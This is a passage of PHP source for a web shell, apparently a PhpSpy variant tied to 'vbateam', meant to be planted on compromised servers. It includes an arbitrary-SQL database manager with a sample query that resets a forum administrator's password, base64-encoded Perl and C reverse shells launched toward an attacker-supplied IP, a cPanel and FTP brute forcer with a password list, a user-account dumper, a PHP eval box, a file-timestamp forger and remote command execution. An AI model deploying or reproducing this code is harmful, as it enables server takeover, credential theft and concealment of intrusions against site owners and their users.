781 if(isset($dbname)) {
782 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
783 }
784 if(isset($charset)) {
785 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
786 }
787
788 if ($doing == 'backupmysql' && $saveasfile) {
789 if (!$table) {
790 m('Please choose the table');
791 } else {
792 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
793 $table = array_flip($table);
794 $fp = @fopen($path,'w');
795 if ($fp) {
796 $result = q('SHOW tables');
797 if (!$result) p('<h2>'.mysql_error().'</h2>');
798 $mysqldata = '';
799 while ($currow = mysql_fetch_array($result)) {
800 if (isset($table[$currow[0]])) {
801 sqldumptable($currow[0], $fp);
802 }
803 }
804 fclose($fp);
805 $fileurl = str_replace(SA_ROOT,'',$path);
806 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
807 mysql_close();
808 } else {
809 m('Backup failed');
810 }
811 }
812 }
813 if ($insert && $insertsql) {
814 $keystr = $valstr = $tmp = '';
815 foreach($insertsql as $key => $val) {
816 if ($val) {
817 $keystr .= $tmp.$key;
818 $valstr .= $tmp."'".addslashes($val)."'";
819 $tmp = ',';
820 }
821 }
822 if ($keystr && $valstr) {
823 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
824 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
825 }
826 }
827 if ($update && $insertsql && $base64) {
828 $valstr = $tmp = '';
829 foreach($insertsql as $key => $val) {
830 $valstr .= $tmp.$key."='".addslashes($val)."'";
831 $tmp = ',';
832 }
833 if ($valstr) {
834 $where = base64_decode($base64);
835 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
836 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
837 }
838 }
839 if ($doing == 'del' && $base64) {
840 $where = base64_decode($base64);
841 $delete_sql = "DELETE FROM $tablename WHERE $where";
842 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
843 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
844 }
845
846 if ($tablename && $doing == 'drop') {
847 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
848 if (q("DROP TABLE $tablename")) {
849 m('Drop table of success');
850 $tablename = '';
851 } else {
852 m(mysql_error());
853 }
854 }
855
856 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
857
858 formhead(array('title'=>'MYSQL Manager'));
859 makehide('action','sqladmin');
860 p('<p>');
861 p('DBHost:');
862 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
863 p(':');
864 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
865 p('DBUser:');
866 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
867 p('DBPass:');
868 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
869 p('DBCharset:');
870 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
871 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
872 p('</p>');
873 formfoot();
874?>
875<script type="text/javascript">
876function editrecord(action, base64, tablename){
877 if (action == 'del') {
878 if (!confirm('Is or isn\'t deletion record?')) return;
879 }
880 $('recordlist').doing.value=action;
881 $('recordlist').base64.value=base64;
882 $('recordlist').tablename.value=tablename;
883 $('recordlist').submit();
884}
885function moddbname(dbname) {
886 if(!dbname) return;
887 $('setdbname').dbname.value=dbname;
888 $('setdbname').submit();
889}
890function settable(tablename,doing,page) {
891 if(!tablename) return;
892 if (doing) {
893 $('settable').doing.value=doing;
894 }
895 if (page) {
896 $('settable').page.value=page;
897 }
898 $('settable').tablename.value=tablename;
899 $('settable').submit();
900}
901</script>
902<?php
903 // SQL
904 formhead(array('name'=>'recordlist'));
905 makehide('doing');
906 makehide('action','sqladmin');
907 makehide('base64');
908 makehide('tablename');
909 p($dbform);
910 formfoot();
911
912 // Data
913 formhead(array('name'=>'setdbname'));
914 makehide('action','sqladmin');
915 p($dbform);
916 if (!$dbname) {
917 makehide('dbname');
918 }
919 formfoot();
920
921
922 formhead(array('name'=>'settable'));
923 makehide('action','sqladmin');
924 p($dbform);
925 makehide('tablename');
926 makehide('page',$page);
927 makehide('doing');
928 formfoot();
929
930 $cachetables = array();
931 $pagenum = 30;
932 $page = intval($page);
933 if($page) {
934 $start_limit = ($page - 1) * $pagenum;
935 } else {
936 $start_limit = 0;
937 $page = 1;
938 }
939 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
940 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
941 // get mysql server
942 $mysqlver = mysql_get_server_info();
943 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
944 $highver = $mysqlver > '4.1' ? 1 : 0;
945
946 // Show database
947 $query = q("SHOW DATABASES");
948 $dbs = array();
949 $dbs[] = '-- Select a database --';
950 while($db = mysql_fetch_array($query)) {
951 $dbs[$db['Database']] = $db['Database'];
952 }
953 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
954 $tabledb = array();
955 if ($dbname) {
956 p('<p>');
957 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
958 if ($tablename) {
959 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
960 }
961 p('</p>');
962 mysql_select_db($dbname);
963
964 $getnumsql = '';
965 $runquery = 0;
966 if ($sql_query) {
967 $runquery = 1;
968 }
969 $allowedit = 0;
970 if ($tablename && !$sql_query) {
971 $sql_query = "SELECT * FROM $tablename";
972 $getnumsql = $sql_query;
973 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
974 $allowedit = 1;
975 }
976 p('<form action="'.$self.'" method="POST">');
977 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
978 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
979 makehide('tablename', $tablename);
980 makehide('action','sqladmin');
981 p($dbform);
982 p('</form>');
983 if ($tablename || ($runquery && $sql_query)) {
984 if ($doing == 'structure') {
985 $result = q("SHOW COLUMNS FROM $tablename");
986 $rowdb = array();
987 while($row = mysql_fetch_array($result)) {
988 $rowdb[] = $row;
989 }
990 p('<table border="0" cellpadding="3" cellspacing="0">');
991 p('<tr class="head">');
992 p('<td>Field</td>');
993 p('<td>Type</td>');
994 p('<td>Null</td>');
995 p('<td>Key</td>');
996 p('<td>Default</td>');
997 p('<td>Extra</td>');
998 p('</tr>');
999 foreach ($rowdb as $row) {
1000 $thisbg = bg();
1001 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1002 p('<td>'.$row['Field'].'</td>');
1003 p('<td>'.$row['Type'].'</td>');
1004 p('<td>'.$row['Null'].' </td>');
1005 p('<td>'.$row['Key'].' </td>');
1006 p('<td>'.$row['Default'].' </td>');
1007 p('<td>'.$row['Extra'].' </td>');
1008 p('</tr>');
1009 }
1010 tbfoot();
1011 } elseif ($doing == 'insert' || $doing == 'edit') {
1012 $result = q('SHOW COLUMNS FROM '.$tablename);
1013 while ($row = mysql_fetch_array($result)) {
1014 $rowdb[] = $row;
1015 }
1016 $rs = array();
1017 if ($doing == 'insert') {
1018 p('<h2>Insert new line in '.$tablename.' table »</h2>');
1019 } else {
1020 p('<h2>Update record in '.$tablename.' table »</h2>');
1021 $where = base64_decode($base64);
1022 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1023 $rs = mysql_fetch_array($result);
1024 }
1025 p('<form method="post" action="'.$self.'">');
1026 p($dbform);
1027 makehide('action','sqladmin');
1028 makehide('tablename',$tablename);
1029 p('<table border="0" cellpadding="3" cellspacing="0">');
1030 foreach ($rowdb as $row) {
1031 if ($rs[$row['Field']]) {
1032 $value = htmlspecialchars($rs[$row['Field']]);
1033 } else {
1034 $value = '';
1035 }
1036 $thisbg = bg();
1037 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1038 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
1039 }
1040 if ($doing == 'insert') {
1041 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1042 } else {
1043 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1044 makehide('base64', $base64);
1045 }
1046 p('</table></form>');
1047 } else {
1048 $querys = @explode(';',$sql_query);
1049 foreach($querys as $num=>$query) {
1050 if ($query) {
1051 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
1052 switch(qy($query))
1053 {
1054 case 0:
1055 p('<h2>Error : '.mysql_error().'</h2>');
1056 break;
1057 case 1:
1058 if (strtolower(substr($query,0,13)) == 'select * from') {
1059 $allowedit = 1;
1060 }
1061 if ($getnumsql) {
1062 $tatol = mysql_num_rows(q($getnumsql));
1063 $multipage = multi($tatol, $pagenum, $page, $tablename);
1064 }
1065 if (!$tablename) {
1066 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1067 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1068 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
1069 $tablename = $matches[1][0];
1070 }
1071 $result = q($query);
1072 p($multipage);
1073 p('<table border="0" cellpadding="3" cellspacing="0">');
1074 p('<tr class="head">');
1075 if ($allowedit) p('<td>Action</td>');
1076 $fieldnum = @mysql_num_fields($result);
1077 for($i=0;$i<$fieldnum;$i++){
1078 $name = @mysql_field_name($result, $i);
1079 $type = @mysql_field_type($result, $i);
1080 $len = @mysql_field_len($result, $i);
1081 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1082 }
1083 p('</tr>');
1084 while($mn = @mysql_fetch_assoc($result)){
1085 $thisbg = bg();
1086 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1087 $where = $tmp = $b1 = '';
1088 foreach($mn as $key=>$inside){
1089 if ($inside) {
1090 $where .= $tmp.$key."='".addslashes($inside)."'";
1091 $tmp = ' AND ';
1092 }
1093 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
1094 }
1095 $where = base64_encode($where);
1096 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
1097 p($b1);
1098 p('</tr>');
1099 unset($b1);
1100 }
1101 tbfoot();
1102 p($multipage);
1103 break;
1104 case 2:
1105 $ar = mysql_affected_rows();
1106 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1107 break;
1108 }
1109 }
1110 }
1111 }
1112 } else {
1113 $query = q("SHOW TABLE STATUS");
1114 $table_num = $table_rows = $data_size = 0;
1115 $tabledb = array();
1116 while($table = mysql_fetch_array($query)) {
1117 $data_size = $data_size + $table['Data_length'];
1118 $table_rows = $table_rows + $table['Rows'];
1119 $table['Data_length'] = sizecount($table['Data_length']);
1120 $table_num++;
1121 $tabledb[] = $table;
1122 }
1123 $data_size = sizecount($data_size);
1124 unset($table);
1125 p('<table border="0" cellpadding="0" cellspacing="0">');
1126 p('<form action="'.$self.'" method="POST">');
1127 makehide('action','sqladmin');
1128 p($dbform);
1129 p('<tr class="head">');
1130 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1131 p('<td>Name</td>');
1132 p('<td>Rows</td>');
1133 p('<td>Data_length</td>');
1134 p('<td>Create_time</td>');
1135 p('<td>Update_time</td>');
1136 if ($highver) {
1137 p('<td>Engine</td>');
1138 p('<td>Collation</td>');
1139 }
1140 p('</tr>');
1141 foreach ($tabledb as $key => $table) {
1142 $thisbg = bg();
1143 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1144 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1145 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
1146 p('<td>'.$table['Rows'].'</td>');
1147 p('<td>'.$table['Data_length'].'</td>');
1148 p('<td>'.$table['Create_time'].'</td>');
1149 p('<td>'.$table['Update_time'].'</td>');
1150 if ($highver) {
1151 p('<td>'.$table['Engine'].'</td>');
1152 p('<td>'.$table['Collation'].'</td>');
1153 }
1154 p('</tr>');
1155 }
1156 p('<tr class=fout>');
1157 p('<td> </td>');
1158 p('<td>Total tables: '.$table_num.'</td>');
1159 p('<td>'.$table_rows.'</td>');
1160 p('<td>'.$data_size.'</td>');
1161 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
1162 p('</tr>');
1163
1164 p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1165 makehide('doing','backupmysql');
1166 formfoot();
1167 p("</table>");
1168 fr($query);
1169 }
1170 }
1171 }
1172 tbfoot();
1173 @mysql_close();
1174}//end sql backup
1175
1176
1177elseif ($action == 'backconnect') {
1178 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1179 !$yourport && $yourport = '12345';
1180 $usedb = array('perl'=>'perl','c'=>'c');
1181
1182 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1183 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1184 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1185 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1186 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1187 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1188 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1189 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1190 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1191 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1192 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1193 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1194 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1195 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1196 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1197
1198 if ($start && $yourip && $yourport && $use){
1199 if ($use == 'perl') {
1200 cf('/tmp/angel_bc',$back_connect);
1201 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
1202 } else {
1203 cf('/tmp/angel_bc.c',$back_connect_c);
1204 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1205 @unlink('/tmp/angel_bc.c');
1206 $res = execute("/tmp/angel_bc $yourip $yourport &");
1207 }
1208 m("Now script try connect to $yourip port $yourport ...");
1209 }
1210
1211 formhead(array('title'=>'Back Connect'));
1212 makehide('action','backconnect');
1213 p('<p>');
1214 p('Your IP:');
1215 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1216 p('Your Port:');
1217 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1218 p('Use:');
1219 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1220 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1221 p('</p>');
1222 formfoot();
1223}//end backconnect window via NC
1224
1225// Brute
1226elseif ($action == 'brute') {
1227formhead(array('title'=>'Brute Forcer'));
1228 makehide('action','brute');
1229 makehide('dir',$brute);
1230@ini_set('memory_limit', 1000000000000);
1231$connect_timeout=5;
1232@set_time_limit(0);
1233$submit = $_REQUEST['submit'];
1234$users = $_REQUEST['users'];
1235$pass = $_REQUEST['passwords'];
1236$target = $_REQUEST['target'];
1237$option = $_REQUEST['option'];
1238
1239
1240$passlist = "0123456
124101234567
1242012345678
12430123456789
124401234567890
1245123456
12461234567
124712345678
1248123456789
12491234567890
1250111111
1251000000
1252222222
1253333333
1254444444
1255555555
1256666666
1257777777
1258888888
1259999999
1260123123
1261456456
1262789789
1263123321
1264456654
1265654321
12667654321
126787654321
1268987654321
12690987654321
1270admin
1271administrator
1272admincp
1273cpanel
1274adminx
1275admins
1276password
1277passwords
1278passw0rd
1279p@ssw0rd
1280p@ssword
1281khongco
128225251325
1283passw0rds";
1284if($target == ''){
1285$target = 'localhost';
1286}
1287print " <div align='center'>
1288<form method='post' style='border: 1px solid #000000'><br><br>
1289<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
1290<b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
1291<div align='center'><br>
1292<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
1293<tr>
1294<td align='center'>
1295<b>Username</b></td>
1296<td>
1297<p align='center'>
1298<b>Password</b></td>
1299</tr>
1300</table>
1301<p align='center'>
1302<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
1303$i = 0;
1304while ($i < 60000) {
1305
1306 $line = posix_getpwuid($i);
1307 if (!empty($line)) {
1308
1309 while (list ($key, $vba_etcpwd) = each($line)){
1310 echo "".$vba_etcpwd."\n";
1311 break;
1312 }
1313
1314 }
1315
1316 $i++;
1317}
1318echo "
1319</textarea>
1320<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
1321<br>
1322<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
1323<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
1324</td></tr></table></td></tr></form><p align= 'left'>";
1325?>
1326<?php
1327function ftp_check($host,$user,$pass,$timeout){
1328$ch = curl_init();
1329curl_setopt($ch, CURLOPT_URL, "ftp://$host");
1330curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1331curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1332curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
1333curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
1334curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
1335curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1336$data = curl_exec($ch);
1337if ( curl_errno($ch) == 28 ) {
1338
1339print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
1340exit;}
1341
1342elseif ( curl_errno($ch) == 0 ){
1343
1344p("<b>[ attack@vbateam.net ]# </b>
1345<b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
1346}
1347curl_close($ch);}
1348
1349function cpanel_check($host,$user,$pass,$timeout){
1350$ch = curl_init();
1351curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
1352curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1353curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1354curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
1355curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
1356curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1357$data = curl_exec($ch);
1358if ( curl_errno($ch) == 28 ) {
1359print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
1360exit;}
1361elseif ( curl_errno($ch) == 0 ){
1362
1363p("<b>[ attack@vbateam.net ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
1364
1365if(isset($submit) && !empty($submit)){
1366
1367$userlist = explode ("\n" , $users );
1368$passlist = explode ("\n" , $pass );
1369p('<b>[ attack@vbateam.net ]# Attacking ...</font></b><br>');
1370foreach ($userlist as $user) {
1371$_user = trim($user);
1372foreach ($passlist as $password ) {
1373$_pass = trim($password);
1374if($option == "ftp"){
1375ftp_check($target,$_user,$_pass,$connect_timeout);
1376}
1377if ($option == "cpanel")
1378{
1379cpanel_check($target,$_user,$_pass,$connect_timeout);
1380}
1381}
1382}
1383}
1384
1385 formfoot();
1386}
1387
1388
1389
1390
1391
1392
1393elseif ($action == 'etcpwd') {
1394formhead(array('title'=>'Get /etc/passwd'));
1395 makehide('action','etcpwd');
1396 makehide('dir',$nowpath);
1397$i = 0;
1398 echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
1399while ($i < 60000) {
1400
1401 $line = posix_getpwuid($i);
1402 if (!empty($line)) {
1403
1404 while (list ($key, $vba_etcpwd) = each($line)){
1405 echo "".$vba_etcpwd."\n";
1406 break;
1407 }
1408
1409 }
1410
1411 $i++;
1412}
1413 echo "</textarea></p>";
1414 formfoot();
1415}
1416
1417elseif ($action == 'eval') {
1418 $phpcode = trim($phpcode);
1419 if($phpcode){
1420 if (!preg_match('#<\?#si', $phpcode)) {
1421 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
1422 }
1423 eval("?".">$phpcode<?");
1424 }
1425 formhead(array('title'=>'Eval PHP Code'));
1426 makehide('action','eval');
1427 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
1428 p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
1429 formfooter();
1430}//end eval
1431
1432elseif ($action == 'editfile') {
1433 if(file_exists($opfile)) {
1434 $fp=@fopen($opfile,'r');
1435 $contents=@fread($fp, filesize($opfile));
1436 @fclose($fp);
1437 $contents=htmlspecialchars($contents);
1438 }
1439 formhead(array('title'=>'Create / Edit File'));
1440 makehide('action','file');
1441 makehide('dir',$nowpath);
1442 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
1443 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
1444 formfooter();
1445}//end editfile
1446
1447elseif ($action == 'newtime') {
1448 $opfilemtime = @filemtime($opfile);
1449 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
1450 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1451 formhead(array('title'=>'Clone file was last modified time'));
1452 makehide('action','file');
1453 makehide('dir',$nowpath);
1454 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1455 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
1456 formfooter();
1457 formhead(array('title'=>'Set last modified'));
1458 makehide('action','file');
1459 makehide('dir',$nowpath);
1460 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1461 p('<p>Instead »');
1462 p('year:');
1463 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1464 p('month:');
1465 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
1466 p('day:');
1467 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
1468 p('hour:');
1469 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
1470 p('minute:');
1471 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
1472 p('second:');
1473 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
1474 p('</p>');
1475 formfooter();
1476}//end newtime
1477
1478elseif ($action == 'shell') {
1479 if (IS_WIN && IS_COM) {
1480 if($program && $parameter) {
1481 $shell= new COM('Shell.Application');
1482 $a = $shell->ShellExecute($program,$parameter);
1483 m('Program run has '.(!$a ? 'success' : 'fail'));
1484 }
1485 !$program && $program = 'c:\windows\system32\cmd.exe';
1486 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
1487 formhead(array('title'=>'Execute Program'));
1488 makehide('action','shell');
1489 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
1490 p('<p>');
1491 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
1492 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1493 p('</p>');
1494 formfoot();
1495 }
1496 formhead(array('title'=>'Execute Command'));
1497 makehide('action','shell');
1498 if (IS_WIN && IS_COM) {
1499 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
1500 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1501 }
1502 p('<p>');
1503 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
1504 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1505 p('</p>');
1506 formfoot();
1507
1508 if ($command) {
1509 p('<hr width="100%" noshade /><pre>');
1510 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
1511 $wsh = new COM('WScript.shell');
1512 $exec = $wsh->exec('cmd.exe /c '.$command);
1513 $stdout = $exec->StdOut();
1514 $stroutput = $stdout->ReadAll();
1515 echo $stroutput;
1516 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
1517 $descriptorspec = array(
1518 0 => array('pipe', 'r'),
1519 1 => array('pipe', 'w'),
1520 2 => array('pipe', 'w')
1521 );
1522 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
